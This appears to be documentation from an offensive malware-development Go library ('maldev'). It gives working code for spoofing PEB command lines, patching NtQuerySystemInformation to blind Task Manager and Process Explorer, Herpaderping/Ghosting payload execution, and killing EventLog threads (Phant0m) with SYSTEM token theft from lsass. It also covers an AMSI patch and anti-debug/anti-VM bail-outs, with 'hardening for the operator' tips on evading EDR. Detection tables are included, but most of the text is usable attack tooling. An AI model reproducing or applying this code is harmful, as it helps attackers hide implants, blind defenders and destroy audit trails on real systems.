  • D3-PSA — cross-session process lineage.

Hardening for the operator:

  • Use a binary path consistent with the cloned identity (%LOCALAPPDATA%\Microsoft\OneDrive\… for OneDrive-looking persistence).
  • For RDS / Citrix targets, prefer ImpersonateThreadOnActiveSession for one-shot ops over CreateProcessOnActiveSessions — no new process to log.
  • Pair with process/tamper/fakecmd so the spawned child's PEB CommandLine matches a legitimate per-user task.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1134.002Access Token Manipulation: Create Process with TokenfullD3-PSA
T1134.001Access Token Manipulation: Token Impersonation/Theftfull — ImpersonateThreadOnActiveSessionD3-USA

Limitations

  • Windows-only. Linux stub returns errors on every entry point.
  • Token requirement. WTSQueryUserToken needs SYSTEM context; without it, the operator can only operate in their own session.
  • Profile loading is heavy. LoadUserProfile mounts the user's hive; on hosts where the user is rarely active this can take seconds.
  • Desktop / station defaults to inherit from the caller. CreateProcessOnActiveSessions (legacy entry point) leaves STARTUPINFOW.lpDesktop NULL, which inherits the caller's station+desktop — typically Winsta0\Default for an interactive logon. Use CreateProcessOnActiveSessionsWith + Options.Desktop to override (operator-controlled hidden desktops, SYSTEM service stations, etc.). Pre-existing Winlogon-owned desktops (Secure Desktop, Lock Screen) still reject CreateProcessAsUser by ACL — that boundary stays.
  • No reverse path. Once impersonating, this package's callback model auto-reverts; long-running impersonation requires manual RevertToSelf discipline elsewhere.

See also

PEB CommandLine spoof (FakeCmd)

← process index · docs/index

TL;DR

Overwrite the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Task Manager, Process Explorer, wmic, Get-Process) display a fake command-line. Self (Spoof) or remote (SpoofPID). Kernel EPROCESS retains the real value so ETW-side telemetry is not fooled.

Primer

When a defender lists processes (Task Manager, Process Explorer, Get-Process | Select CommandLine, Sysmon Event ID 1), the command-line shown is read out of the target process's PEB, not from a separate kernel record. The kernel keeps a frozen copy in EPROCESS.SeAuditProcessCreationInfo captured at process creation that user-mode cannot rewrite.

fakecmd overwrites the user-mode PEB field so every user-mode reader sees a benign command-line — a beaconing implant launched as C:\evil.exe --c2 1.2.3.4 can present itself as C:\Windows\System32\svchost.exe -k netsvcs.

This fools user-mode triage; kernel-sourced telemetry (Sysmon ProcessCreate via ETW-Ti, PsSetCreateProcessNotifyRoutineEx, Defender's MsSense, MDE) still sees the original. Pair with pe/masquerade to also clone the binary's embedded VERSIONINFO so user-mode triage of the on-disk file matches.

How It Works

sequenceDiagram
    participant Reader as "Process Explorer / Sysmon-usermode / EDR"
    participant PEB as "Target PEB"
    participant PP as "RTL_USER_PROCESS_PARAMETERS"
    participant CmdLine as "UNICODE_STRING CommandLine"
    participant Kernel as "EPROCESS<br>(SeAuditProcessCreationInfo)"

    Note over PEB,PP: Setup at process creation
    PP->>CmdLine: Length / MaximumLength / Buffer = "evil.exe --c2 …"
    Kernel-->>Kernel: SeAuditProcessCreationInfo = "evil.exe --c2 …" (frozen)

    Note over PEB,CmdLine: fakecmd.Spoof rewrites here
    CmdLine->>CmdLine: Buffer ← "svchost.exe -k netsvcs"<br>Length / MaximumLength updated

    Reader->>PEB: NtQueryInformationProcess(ProcessBasicInformation)
    Reader->>PP: Follow PEB.ProcessParameters
    Reader->>CmdLine: Read CommandLine
    CmdLine-->>Reader: "svchost.exe -k netsvcs"  (fake)

    Reader->>Kernel: ETW / audit
    Kernel-->>Reader: "evil.exe --c2 …"          (real)

Layout: PEB.ProcessParameters (offset +0x20 x64) → RTL_USER_PROCESS_PARAMETERSCommandLine UNICODE_STRING at RUPP+0x70. Overwrite Length, MaximumLength, and Buffer with the new UTF-16 string.

Self vs remote:

  • Spoof rewrites the current process's own PEB — no privilege needed, instant.
  • SpoofPID rewrites another process's PEB via OpenProcess(VM_READ|VM_WRITE|VM_OPERATION|QUERY_INFORMATION)
    • NtQueryInformationProcess + NtAllocateVirtualMemory + WriteProcessMemory. Typically requires SeDebugPrivilege.

API Reference

SymbolDescription
Spoof(fakeCmd, caller) errorSelf PEB rewrite
Restore() errorWrite the saved original back
Current() stringRead the current PEB CommandLine
SpoofPID(pid, fakeCmd, caller) errorRemote PEB rewrite (admin / SeDebugPrivilege)

caller=nil uses direct WinAPI; pass a *wsyscall.Caller to route the PEB read/write through direct/indirect syscalls.

Examples

Simple — self spoof

import "github.com/oioio-space/maldev/process/tamper/fakecmd"

if err := fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, nil); err != nil {
    return
}
defer fakecmd.Restore()

Composed — indirect syscall

import (
    "github.com/oioio-space/maldev/process/tamper/fakecmd"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, caller)
defer fakecmd.Restore()

Advanced — PPID-spoof + child PEB rewrite

Pair PPID spoofing with PEB rewrite so user-mode triage sees explorer.exe → svchost.exe -k netsvcs -p -s Schedule instead of cmd.exe → implant.exe --c2 ….

import (
    "os"
    "os/exec"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/process/tamper/fakecmd"
)

if os.Getenv("RESPAWNED") == "" {
    sp := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe"})
    _ = sp.FindTargetProcess()
    attr, h, _ := sp.SysProcAttr()
    cmd := exec.Command(os.Args[0])
    cmd.Env = append(os.Environ(), "RESPAWNED=1")
    cmd.SysProcAttr = attr
    _ = cmd.Start()
    _ = h
    return
}

_ = fakecmd.Spoof(
    `C:\Windows\System32\svchost.exe -k netsvcs -p -s Schedule`,
    nil,
)
defer fakecmd.Restore()
runBeacon()

See ExampleSpoof.

OPSEC & Detection

ArtefactWhere defenders look
User-mode PEB CommandLineSpoofed; user-mode triage sees fake
Kernel EPROCESS.SeAuditProcessCreationInfoReal — Sysmon Event 1 (kernel ETW) sees the original
Sysmon ProcessCreate eventBuilt from kernel ETW, not user-mode PEB → real value
wmic process queriesUser-mode → fake
tasklist /vUser-mode → fake
Process Hacker / Process ExplorerUser-mode → fake
Defender for Endpoint MsSense alertsKernel ETW-Ti → real

D3FEND counters:

  • D3-PSA — kernel ETW-based lineage / command-line capture is unaffected.
  • D3-SEA — pair with pe/masquerade to also fool the on-disk PE static-info reader.

Hardening for the operator:

  • Pair with pe/masquerade for binary identity match.
  • Pair with PPID spoofing (c2/shell.PPIDSpoofer) so the process tree also looks plausible.
  • Defer Restore() if the process is long-running — cached PEB reads after dump-and-revive can otherwise expose the fake.
  • Don't rely on this against EDRs whose ProcessCreate telemetry is sourced from kernel ETW (most modern stacks).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036.005Masquerading: Match Legitimate Name or Locationpartial — user-mode CommandLine onlyD3-PSA
T1564Hide ArtifactsgenericD3-SEA

Limitations

  • User-mode only. Kernel ETW-Ti, Sysmon Event 1, PsSetCreateProcessNotifyRoutineEx all see the real value.
  • Cached reads. Tools that cached the original CommandLine before spoofing display the original until they refresh.
  • No image-path spoof. Spoof rewrites CommandLine, not ImagePathName. Pair with pe/masquerade for binary metadata cloning.
  • Remote spoof requires SeDebugPrivilege. SpoofPID opens the target with VM_WRITE + VM_OPERATION.

See also

Hide processes from Task Manager (NtQSI patch)

← process index · docs/index

TL;DR

Patch NtQuerySystemInformation in a target process so it returns STATUS_NOT_IMPLEMENTED. The target's process listing becomes empty — Task Manager, Process Explorer, ProcessHacker, Get-Process running inside that process all show nothing. Other processes (EDR agents, kernel telemetry) are unaffected.

Primer

Process-listing tools all ultimately call NtQuerySystemInformation(SystemProcessInformation, …) to ask the kernel for the running-process snapshot. hideprocess doesn't hide processes from the kernel — it goes into a specific user-mode tool's address space and patches that tool's NtQuerySystemInformation prologue so the syscall never happens. The function returns STATUS_NOT_IMPLEMENTED immediately; the tool sees an empty list.

This is blinding the analyst's tool, not hiding the target. Defenders running an EDR agent that does its own enumeration from a separate, un-patched process see everything normally; kernel-sourced telemetry (Sysmon, Microsoft-Windows-Threat-Intelligence ETW, MsSense) is unaffected.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Target as "Taskmgr.exe (target)"
    participant NtQSI as "ntdll!NtQuerySystemInformation"

    Impl->>Impl: GetModuleHandle("ntdll.dll") + GetProcAddress("NtQSI")
    Note over Impl: ntdll loads at the same VA in every<br>process per boot — local VA = remote VA

    Impl->>Target: OpenProcess(VM_WRITE | VM_OPERATION)
    Impl->>NtQSI: WriteProcessMemory(prologue, stub)
    Note over NtQSI: 7-byte stub:<br>B8 02 00 00 C0   mov eax, 0xC0000002<br>C2 10 00         ret 0x10

    Target->>NtQSI: NtQuerySystemInformation(SystemProcessInformation, …)
    NtQSI-->>Target: STATUS_NOT_IMPLEMENTED
    Target->>Target: empty process list

Why it works:

  • On Win 8+, ntdll.dll is loaded at the same VA in every process per boot (base randomised once via KUSER_SHARED_DATA), so the implant resolves NtQuerySystemInformation locally and the VA is identical in the target.
  • The stub returns 0xC0000002 = STATUS_NOT_IMPLEMENTED. The caller's error path typically falls back to an empty result set.
  • Only the patched process is affected — kernel telemetry doesn't go through user-mode NtQuerySystemInformation.

API Reference

SymbolDescription
PatchProcessMonitor(pid, caller) errorPatch the running target. Does not persist a restart.

caller=nil uses direct WinAPI; pass a *wsyscall.Caller to route the cross-process read/write through indirect syscalls. Requires PROCESS_VM_WRITE | PROCESS_VM_OPERATION — typically SeDebugPrivilege or a process the current token already owns.

Examples

Simple — blind a known PID

import "github.com/oioio-space/maldev/process/tamper/hideprocess"

const taskmgrPID = 1234
_ = hideprocess.PatchProcessMonitor(taskmgrPID, nil)

Composed — sweep by name

Blind every running analyst tool found via process/enum.

import (
    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/process/tamper/hideprocess"
)

procs, _ := enum.List()
for _, p := range procs {
    switch p.Name {
    case "Taskmgr.exe", "procexp.exe", "procexp64.exe", "ProcessHacker.exe":
        _ = hideprocess.PatchProcessMonitor(int(p.PID), nil)
    }
}

Advanced — watch + auto-blind on launch

Poll for analyst-tool launches and patch each one as it appears. Useful as a long-running implant component on a multi-user host.

import (
    "time"

    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/process/tamper/hideprocess"
)

func watch() {
    targets := map[string]bool{
        "Taskmgr.exe":      true,
        "procexp.exe":      true,
        "procexp64.exe":    true,
        "ProcessHacker.exe": true,
    }
    blinded := map[uint32]bool{}
    for {
        procs, err := enum.List()
        if err == nil {
            for _, p := range procs {
                if !targets[p.Name] || blinded[p.PID] {
                    continue
                }
                if err := hideprocess.PatchProcessMonitor(int(p.PID), nil); err == nil {
                    blinded[p.PID] = true
                }
            }
        }
        time.Sleep(1 * time.Second)
    }
}

See ExamplePatchProcessMonitor.

OPSEC & Detection

ArtefactWhere defenders look
WriteProcessMemory against ntdll .text of an analyst toolEDR cross-process write telemetry — high-fidelity if the tool is monitored
OpenProcess(VM_WRITE) against Taskmgr.exe / procexp.exeSysmon Event 10 (ProcessAccess) with VM_WRITE access mask
.text integrity check on ntdll inside the targetSome EDRs hash the prologue periodically — stub bytes diverge from canonical
Behavioural correlation: EDR sees activity, Task Manager doesn'tMature SOC tells, but only with proactive hunt
Kernel telemetry unaffectedEDR sees normal process activity from its own un-patched process

D3FEND counters:

  • D3-RAPA — cross-process write telemetry.
  • D3-SCA — kernel-side enumeration is unaffected.

Hardening for the operator:

  • Use indirect syscalls via wsyscall.Caller so the cross-process write doesn't go through hooked WriteProcessMemory.
  • Patch all candidate tools at once; selective patching leaves some tooling fully functional.
  • The patch does not persist across the target's process restart — pair with a watch loop that re-patches on relaunch.
  • Don't use this on hosts where EDRs hash ntdll periodically (Microsoft Defender does not by default; Elastic / S1 / CS vary).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1564.001Hide Artifacts: Hidden Processfull — user-mode tooling blindedD3-RAPA
T1027.005Indicator Removal from Toolspartial — neutralises local triage toolsD3-SCA

Limitations

  • User-mode only. Kernel-sourced enumeration sees everything.
  • Per-process patch. Patches are not persistent across target restart; tool relaunch returns to clean ntdll.
  • Other processes unaffected. EDR agents in their own process see the full process list normally.
  • Requires PROCESS_VM_WRITE. SeDebugPrivilege or ownership of the target.
  • .text integrity check defeats this. Rare in production EDRs but trivially detectable when present.
  • Specific to NtQuerySystemInformation. Other enumeration paths (WMI Win32_Process, NTDLL exports not patched here) bypass the stub. The package targets the most-common path; thorough monitoring needs more patches.

See also

Process Herpaderping & Ghosting

← process index · docs/index

TL;DR

Exploit the kernel image-section cache so the running process executes one PE while the file on disk reads as another (or doesn't exist). ModeHerpaderping overwrites the backing file with a decoy after the section is mapped; ModeGhosting deletes the file before the process is created. EDR file-based inspection sees the decoy / fails open. Win11 26100+ blocks both modes (STATUS_NOT_SUPPORTED).

Primer

When Windows creates a process from a PE file, the kernel maps the image into an immutable section object and caches it. The cache survives after the file handle closes — and can survive after the file itself is overwritten or deleted. The running process executes the cached image; downstream readers that go back to the file see whatever's there now.

This package exploits that gap. The payload is mapped → the file is replaced with a decoy → the thread is created. EDR / AV security callbacks fire at thread creation (PsSetCreateThreadNotifyRoutine) and file-read inside the callback returns the decoy, not the original payload.

Two variants:

  • Herpaderping (jxy-s, 2020) — overwrite the file with a decoy after mapping. Decoy can be a real signed PE (svchost, notepad) or random bytes.
  • Ghosting (Gabriel Landau, 2021) — create a delete-pending file, map as SEC_IMAGE, close the handle to let the delete complete. The file never exists at the moment of thread creation.

Win11 24H2 / 25H2 (build ≥ 26100) blocks both modes — NtCreateProcessEx returns STATUS_NOT_SUPPORTED on a section backed by a tampered or deleted file. The package treats every build ≥ 26100 as blocked out of caution; operators with verified-working 26100 builds can drop the test skip locally.

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant Sec as "NtCreateSection<br>(SEC_IMAGE)"
    participant Cache as "Kernel image cache"
    participant Disk as "Backing file"
    participant Proc as "NtCreateProcessEx"
    participant Thr as "NtCreateThreadEx"
    participant EDR

    Op->>Sec: payload.exe → section
    Sec->>Cache: cache image (immutable)
    Op->>Proc: NtCreateProcessEx(section)
    Note over Op,Disk: Mode-specific step
    Op->>Disk: Herpaderping: overwrite with decoy<br>OR Ghosting: delete (file unlinked)
    Op->>Thr: NtCreateThreadEx
    Thr->>EDR: PsSetCreateThreadNotifyRoutine fires
    EDR->>Disk: read backing file
    Disk-->>EDR: decoy / file-not-found
    Note over Cache,Thr: Process executes from cached image<br>= original payload

The on-disk decoy can be a signed system binary so authenticode verification at the EDR-callback time succeeds against the wrong PE.

API Reference

type Mode int

godoc

ConstantVariant
ModeHerpaderping (default)overwrite file post-mapping
ModeGhostingunlink file before process creation

type Config

godoc

FieldRequiredDescription
Modeno (default Herpaderping)Which kernel-cache exploit
PayloadPathyesThe actual PE the operator wants executed
TargetPathno (auto temp if absent)Where the section is mapped from
DecoyPathno (random bytes if absent for Herpaderping; ignored for Ghosting)Decoy PE path

Functions

SymbolDescription
Run(cfg Config) errorOne-shot execution
Technique(cfg Config) evasion.Techniqueevasion.Technique adapter for evasion.ApplyAll

Examples

Simple — Herpaderping with svchost decoy

import "github.com/oioio-space/maldev/process/tamper/herpaderping"

_ = herpaderping.Run(herpaderping.Config{
    PayloadPath: "implant.exe",
    TargetPath:  `C:\Windows\Temp\legit.exe`,
    DecoyPath:   `C:\Windows\System32\svchost.exe`,
})

No on-disk artefact at thread-creation time.

_ = herpaderping.Run(herpaderping.Config{
    Mode:        herpaderping.ModeGhosting,
    PayloadPath: "implant.exe",
    TargetPath:  `C:\Windows\Temp\nohost.exe`,
})

Advanced — composed with AMSI patch

Pair the spawn with an in-process AMSI bypass via the evasion.Technique chain.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/process/tamper/herpaderping"
)

techs := []evasion.Technique{
    amsi.ScanBufferPatch(),
    herpaderping.Technique(herpaderping.Config{
        PayloadPath: "implant.exe",
        TargetPath:  `C:\Temp\legit.exe`,
        DecoyPath:   `C:\Windows\System32\svchost.exe`,
    }),
}
_ = evasion.ApplyAll(techs, nil)

Auto-temp + random decoy

When the operator doesn't have a specific decoy in mind:

_ = herpaderping.Run(herpaderping.Config{
    PayloadPath: "implant.exe",
    // TargetPath auto via os.CreateTemp
    // DecoyPath omitted — target overwritten with random bytes
})

See ExampleRun

OPSEC & Detection

ArtefactWhere defenders look
Sysmon Event ID 25 (ProcessTampering)Primary detection — kernel detects mapped-image vs file mismatch
NtCreateSection(SEC_IMAGE) followed by WriteFile on same handle before NtCreateThreadExAdvanced EDR rule (Elastic, CrowdStrike)
Process whose authenticode resolves to decoy but memory layout is a different PEMature EDR (Defender for Endpoint) cross-validation
Mode=Ghosting: file delete-pending then closed before NtCreateProcessExProcessTampering is the primary signal — 26100+ kernel rejects
Process whose PEB.ProcessParameters.ImagePathName points at a path that vanishes / contains decoyLive-system triage

D3FEND counters:

  • D3-PSA — Sysmon Event 25 + lineage.
  • D3-FCA — disk-vs-memory image divergence.

Hardening for the operator:

  • Verify the target build before running — 26100+ returns STATUS_NOT_SUPPORTED for both modes.
  • For ModeHerpaderping, pick a signed donor decoy whose identity matches a plausible "what runs at this path" story.
  • For ModeGhosting, the lack of an on-disk artefact at thread-creation is a stronger primitive — but Sysmon Event 25 fires equally.
  • Pair with pe/strip on the payload so memory analysis at runtime doesn't immediately reveal Go-toolchain markers.
  • Avoid hosts running EDRs that ship Sysmon Event 25 by default (Defender for Endpoint, Elastic, S1).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.013Process Doppelgängingpartial — same family of section-cache exploitsD3-PSA, D3-FCA
T1055Process Injectionfull — defense evasion via process tamperingD3-PSA
T1027.005Indicator Removal from Toolspartial — file-on-disk decoy defeats authenticode-of-disk-imageD3-FCA

Limitations

  • Win11 26100+ blocked. Both modes return STATUS_NOT_SUPPORTED on Win11 24H2 / 25H2.
  • File-write requirement (Herpaderping). Target path must be writable; read-only media or files locked by another process can't be overwritten.
  • PEB.ProcessParameters.ImagePathName. Points at the target file, which now contains the decoy / is gone — live triage that reads the PE via the path sees the decoy / fails. In-memory PE reconstruction (Volatility, dumpit) still recovers the original.
  • Win10 minimum. NtCreateProcessEx semantics differ on older versions.
  • No 32-bit support. x64 only.

References

  • jxy-s — original Herpaderping research: https://jxy-s.github.io/herpaderping/
  • Gabriel Landau — Process Ghosting: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
  • hasherezade (Jan 2025) — Ghosting on early-26100 builds.

See also

Phant0m — EventLog thread termination

← process index · docs/index

TL;DR

Terminate the worker threads of the Windows EventLog service inside its hosting svchost.exe. The service stays "Running" in SCM (no 4697 "service stopped" event), but no new entries are written. Per-thread service-tag validation (I_QueryTagInformation) ensures only EventLog threads die — co-hosted services in the same svchost survive. Requires SeDebugPrivilege. Loud once a defender notices the gap.

Primer

Windows logs almost everything an investigator wants — logons, service installs, scheduled tasks, PowerShell ScriptBlock, Sysmon events — into the Windows Event Log. The naive way to silence it (sc stop EventLog) is itself logged: SCM emits a "service stopped" event before the kill takes effect.

Phant0m goes around it. The EventLog service is a set of worker threads inside a shared svchost.exe host. Identify that host, find the threads tagged as EventLog workers, and terminate them individually with TerminateThread. SCM still reports RUNNING; the process is alive; only the workers are dead. Subsequent ReportEvent / EvtReportEvent calls queue but never persist.

This technique is loud once detected — defenders watching for EventLog gaps trip on the silence — but the kill itself generates no service-stop signal.

How It Works

flowchart TD
    A[OpenSCManager + OpenService] --> B[QueryServiceStatusEx<br>EventLog → host PID]
    B --> C[enum.Threads PID]
    C --> D{For each TID}
    D --> E[OpenThread<br>THREAD_QUERY_INFORMATION]
    E --> F[NtQueryInformationThread<br>→ TEB base]
    F --> G[ReadProcessMemory<br>TEB+0x1720 → SubProcessTag]
    G --> H[I_QueryTagInformation<br>→ service name]
    H --> I{name == EventLog?}
    I -- yes --> J[OpenThread<br>THREAD_TERMINATE]
    J --> K[TerminateThread<br>or NtTerminateThread via caller]
    I -- no --> D
    K --> D

Service-tag validation uses I_QueryTagInformation (advapi32), an undocumented-but-stable API used by Task Manager to show service names per thread. The SubProcessTag is a 32-bit value stored at offset 0x1720 in the x64 TEB. If the API is absent (very old systems), the package falls back to terminating every thread in the EventLog PID.

API Reference

SymbolDescription
Kill(caller *wsyscall.Caller) errorTerminate EventLog worker threads. caller=nil uses WinAPI; non-nil routes NtTerminateThread through indirect syscalls.
Heartbeat(ctx context.Context, interval time.Duration, caller *wsyscall.Caller) errorFirst Kill is synchronous (returns its error); subsequent Kills run every interval until ctx is cancelled. Defeats SCM/WMI heartbeat re-spawns of the EventLog workers.
Technique() evasion.Techniqueevasion.Technique adapter for evasion.ApplyAll.
var ErrNoTargetThreadsNo EventLog worker threads identified — fallback also failed.

Examples

Simple — direct kill

import "github.com/oioio-space/maldev/process/tamper/phant0m"

if err := phant0m.Kill(nil); err != nil {
    return
}

Composed — indirect syscall

import (
    "github.com/oioio-space/maldev/process/tamper/phant0m"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = phant0m.Kill(caller)

Advanced — token theft + Heartbeat ticker

Steal a SYSTEM token to obtain SeDebugPrivilege, silence the event log, then re-kill on a built-in ticker so SCM/WMI re-spawns of the EventLog workers don't undo the kill.

import (
    "context"
    "log"
    "time"

    "github.com/oioio-space/maldev/process/tamper/phant0m"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.StealByName("lsass.exe")
defer tok.Close()
_ = tok.EnablePrivilege("SeDebugPrivilege")

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())

ctx, cancel := context.WithCancel(context.Background())
defer cancel() // stop the heartbeat at scope exit

go func() {
    if err := phant0m.Heartbeat(ctx, 5*time.Second, caller); err != nil &&
        !errors.Is(err, context.Canceled) {
        log.Printf("phant0m heartbeat: %v", err)
    }
}()

// ... noisy work runs here, EventLog stays silent ...

Heartbeat returns the first Kill error synchronously, so the goroutine bails immediately if the initial silencing fails. After that, transient Kill errors are silently retried — only the context cancellation surfaces as a final return.

See ExampleKill.

OPSEC & Detection

ArtefactWhere defenders look
OpenThread(THREAD_TERMINATE) against svchost.exeSysmon Event 10 (ProcessAccess) — high-fidelity rule when target is svchost hosting EventLog
TerminateThread / NtTerminateThread from non-svchost lineageEDR API telemetry — Defender, MDE, S1 ship this
EventLog gapSOC heartbeat / SIEM correlation: "no events from host X for N minutes"
EventLog service status RUNNING with zero live threadsSysmon Event 8 (CreateRemoteThread inverse) — defender can poll thread count
SACL auditing on svchost.exeEnterprise SOC may enable; logs the THREAD_TERMINATE open
Subsequent log writes failing silentlyDefender for Endpoint MsSense detects

D3FEND counters:

  • D3-RAPA — cross-process thread-termination telemetry.
  • D3-PA — service-host thread-count anomaly.

Hardening for the operator:

  • Use indirect syscalls via wsyscall.Caller so the thread-termination doesn't go through hooked WinAPI.
  • Re-kill on a ticker — SCM may restart the workers on heartbeat checks.
  • Pair with evasion/etw to also blind ETW providers; phant0m only kills the EventLog service, not ETW consumers.
  • Don't use this on hosts where EventLog forwarding is enterprise-monitored — the gap is itself the detection.
  • The I_QueryTagInformation fallback (kill all threads in PID) breaks co-hosted services — only an issue on hosts where multiple non-EventLog services share that svchost group.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.002Impair Defenses: Disable Windows Event Loggingfull — service-stop-free silencingD3-RAPA, D3-PA

Limitations

  • Loud on detection. EventLog gaps are themselves a high-fidelity signal in mature SOCs.
  • SeDebugPrivilege required. Implies SYSTEM or elevated admin context.
  • x64 only. TEB offset 0x1720 is x64-specific.
  • SCM heartbeat re-spawns workers. Use Heartbeat(ctx, interval, caller) to ticker-kill the workers as fast as SCM re-spawns them. The first Kill is synchronous (returns its error); subsequent Kills run on the ticker until ctx cancellation. Without the heartbeat, the silence window collapses within seconds.
  • Per-thread fallback. Without I_QueryTagInformation, the package terminates every thread in the EventLog PID — breaks co-hosted services.
  • No persistence. Reboot restores the EventLog service with fresh threads. Pair with persistence to re-arm.

See also

Recon techniques

← maldev README · docs/index

The recon/* package tree groups discovery + environmental awareness primitives:

  • Anti-analysis — debugger / VM / sandbox detection (antidebug, antivm, sandbox, timing).
  • Hijack discovery — DLL search-order hijack opportunities (dllhijack).
  • Hook detection — hardware breakpoint inspection (hwbp).
  • System enumeration — drives, special folders, network (drive, folder, network).
flowchart TB
    subgraph anti [Anti-analysis]
        AD[antidebug]
        AV[antivm]
        TIME[timing]
        SB[sandbox<br>orchestrator]
        AD --> SB
        AV --> SB
        TIME --> SB
    end
    subgraph discovery [System discovery]
        DRV[drive]
        FLD[folder]
        NET[network]
    end
    subgraph hooks [Hook detection]
        HWBP[hwbp<br>DR0-DR3]
    end
    subgraph hijack [Hijack discovery]
        DLL[dllhijack<br>services + procs +<br>tasks + autoElevate]
    end
    SB --> BAIL[bail-on-detect]
    HWBP --> CLEAR[clear + unhook]
    DLL --> EXPLOIT[validate + deploy]
    DRV --> STAGE[USB-stage / SMB-share lateral]
    FLD --> PERSIST[persistence path resolution]
    NET --> C2[source-aware C2]

Packages

PackageTech pageDetectionOne-liner
recon/antidebuganti-analysis.mdquietCross-platform debugger detection (PEB / TracerPid)
recon/antivmanti-analysis.mdquietMulti-vendor hypervisor detection (7 dimensions)
recon/sandboxsandbox.mdquietMulti-factor sandbox orchestrator
recon/timingtiming.mdquietCPU-burn defeats Sleep-hook fast-forward
recon/dllhijackdll-hijack.mdmoderateDiscover DLL search-order hijack opportunities
recon/hwbphw-breakpoints.mdmoderateDetect + clear EDR HWBPs in DR0-DR3
recon/drivedrive.mdvery-quietDrive enum + USB-insert watcher (Windows)
recon/folderfolder.mdvery-quietWindows special-folder path resolution
recon/networknetwork.mdvery-quietCross-platform interface IPs + IsLocal

Quick decision tree

You want to…Use
…bail if a debugger is attachedantidebug.IsDebuggerPresent
…bail if running in a hypervisorantivm.Detect
…run multi-factor "is this analysis?"sandbox.New(DefaultConfig).IsSandboxed
…burn CPU to defeat Sleep fast-forwardtiming.BusyWait
…find DLL hijack candidatesdllhijack.ScanAll
…UAC bypass via autoElevate hijackdllhijack.ScanAutoElevate
…detect EDR HWBPs in ntdllhwbp.DetectClearAll
…list mounted drives + watch removable insertionsdrive.NewWatcher
…resolve %APPDATA% / %PROGRAMDATA%folder.Get
…list host IPs / detect self-referencesnetwork.InterfaceIPs / IsLocal

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1622Debugger Evasionantidebug, hwbpD3-EI
T1497Virtualization/Sandbox EvasionsandboxD3-EI
T1497.001System ChecksantivmD3-EI
T1497.003Time Based EvasiontimingD3-EI
T1574.001Hijack Execution Flow: DLL Search Order HijackingdllhijackD3-EAL
T1548.002Bypass UACdllhijack (autoElevate)D3-EAL
T1027.005Indicator Removal from ToolshwbpD3-PSA
T1120Peripheral Device Discoverydrive
T1083File and Directory Discoveryfolder, drive
T1016System Network Configuration Discoverynetwork

See also

Anti-analysis (debugger + VM detection)

← recon index · docs/index

TL;DR

Cross-platform debugger detection (antidebug)

  • multi-vendor VM/hypervisor detection (antivm). Single-shot primitives the implant runs at startup; bail if a debugger is attached or the host fingerprints as VirtualBox / VMware / Hyper-V / Parallels / Xen / QEMU / Docker / WSL.

Primer

Sandboxes are virtual machines. Analysts attach debuggers. If the implant exits before either can capture a behavioural trace, the analysis pipeline goes home with empty hands. antidebug + antivm are the two cheapest "is this an analysis environment?" primitives — both bail in microseconds.

antidebug reads the PEB BeingDebugged flag (Windows) or /proc/self/status TracerPid (Linux). antivm runs configurable checks across 7 dimensions (registry, files, NIC MAC prefixes, processes, CPUID/BIOS, DMI info) keyed against vendor-specific fingerprints. Pair both with recon/sandbox for the multi-factor orchestrator.

How It Works

flowchart LR
    subgraph debug [antidebug]
        WIN[Windows: IsDebuggerPresent<br>PEB BeingDebugged]
        LIN[Linux: /proc/self/status<br>TracerPid != 0]
    end
    subgraph vm [antivm]
        REG[Registry keys<br>HKLM\HARDWARE\…]
        FILES[VM driver files<br>vmtoolsd, vbox*]
        NIC[MAC prefixes<br>00:0C:29 VMware]
        PROC[Process names<br>vmtoolsd, vboxservice]
        DMI[DMI info<br>BIOS / chassis]
        CPU[CPUID flags<br>hypervisor bit]
    end
    debug --> OUT[bool / vendor name]
    vm --> OUT
    OUT --> SANDBOX[recon/sandbox<br>orchestrator]

API Reference

antidebug.IsDebuggerPresent() bool

godoc

Returns true when a debugger is attached. Cross-platform.

antivm.Detect(cfg) (string, error) / DetectAll(cfg) ([]string, error)

godoc

Returns the first / every matching vendor name across the configured check dimensions.

antivm.Config + Vendor + CheckType

ConstantBit
CheckRegistryregistry-key probe
CheckFilesdriver-file existence
CheckNICMAC-prefix match
CheckProcessesanalysis-tool process names
CheckDMI/sys/class/dmi/ (Linux)
CheckCPUIDhypervisor leaf

DefaultConfig() enables all dimensions; DefaultVendors covers Hyper-V, Parallels, VirtualBox, VMware, Xen, QEMU, Proxmox, Docker, WSL.

Examples

Simple — bail on detection

import (
    "os"

    "github.com/oioio-space/maldev/recon/antidebug"
    "github.com/oioio-space/maldev/recon/antivm"
)

if antidebug.IsDebuggerPresent() {
    os.Exit(0)
}
if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
    os.Exit(0)
}

Composed — narrow vendor + dimension

cfg := antivm.Config{
    Vendors: []antivm.Vendor{
        {Name: "VMware", Nic: []string{"00:0C:29"}, Files: []string{`C:\windows\system32\drivers\vmtoolsd.sys`}},
    },
    Checks: antivm.CheckNIC | antivm.CheckFiles,
}
if name, _ := antivm.Detect(cfg); name != "" {
    return
}

Advanced — orchestrator integration

